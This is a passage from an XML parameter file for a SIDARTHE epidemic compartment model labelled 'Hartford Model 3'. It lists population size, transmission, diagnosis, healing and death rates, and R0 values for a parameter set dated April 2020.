<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.323619114517927" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.4085877187958703" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16519788090887363" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2160002104974152" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="7.8131721061752085e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="7.813172106175209e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.5626344212350417e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="3.9065860530876042e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.86211102470977163" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.0705213986000666" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.044218322678260154" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.86211102470977163" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="7.813172106175209e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.5626344212350417e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="7.8131721061752085e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.9065860530876042e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.044218322678260154" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15951389671315763" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15951389671315763" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.040197880908873641" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.1198868951265091" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.1198868951265091" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.1198868951265091" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.2490738220827127" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_19" name="Model3 - 4/22">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_19">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-23T02:59:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000010240004196" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572662.999998976" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.5511384648176838" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.51022769296353676" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.25511384648176838" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.12755692324088419" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607843137254899" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607843137254899" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.029767958116083845" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="1.8699859598069233" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="1.8699859598069233" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15196935025916011" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15196935025916011" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.24879729459199196" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="1.8699859598069233" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.040952115684915788" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2.0000010240004196" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2.0000010240004196" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.0660643911794723" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.0660643911794723" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.0517232681821671" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.4007666448511521" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.1659521156849158" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2470204611898283" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="7.1407155857537273e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="7.1407155857537267e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.4281431171507455e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="3.5703577928768636e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999999665564054" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.84291879373313738" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="2.8062533527066149" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.029767958116083845" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.84291879091411392" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="7.1407155857537267e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.4281431171507455e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="7.1407155857537273e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="3.5703577928768636e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.029767958116083845" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15196935025916011" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
